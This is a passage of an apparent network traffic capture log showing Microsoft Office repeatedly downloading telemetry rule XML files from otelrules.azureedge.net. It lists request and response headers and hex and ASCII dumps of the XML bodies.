2024-11-20 12:28:48 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:48 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:48 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122848Z-r1d97b99577jlrkbhC1TEBq8d000000008sg0000000076kp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:48 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:48 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:49 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:48 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122848Z-185f5d8b95csp6jmhC1NYCwy6s0000000a3g00000000f30g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:49 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:49 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:49 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: ddab4ee1-f01e-0003-5dfb-3a4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122849Z-r1d97b99577ckpmjhC1TEBrzs000000008tg00000000f7pw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:49 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:49 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:49 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:49 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122849Z-1777c6cb754wcxkwhC1TEB3c6w00000009mg000000000y39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:49 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:49 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:49 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:49 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122849Z-185f5d8b95c95vpshC1NYC759c0000000a5g00000000e43r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:49 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:49 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:49 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:49 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122849Z-185f5d8b95ctl8xlhC1NYCn94g0000000aag000000008eev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:49 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:49 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:49 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:49 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122849Z-r1d97b9957744xz5hC1TEB5bf800000008p000000000dyw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:49 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:50 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122850Z-185f5d8b95c4vwv8hC1NYCy4v40000000ab000000000c7mv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:50 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:50 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122850Z-185f5d8b95cdh56ghC1NYCk1x4000000041g00000000bbgb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:50 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:50 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:50 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:50 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122850Z-185f5d8b95ckwnflhC1NYCx9qs0000000a7000000000enek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:50 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:50 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:50 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122850Z-1777c6cb754vxwc9hC1TEBykgw00000009gg00000000db0f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:50 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
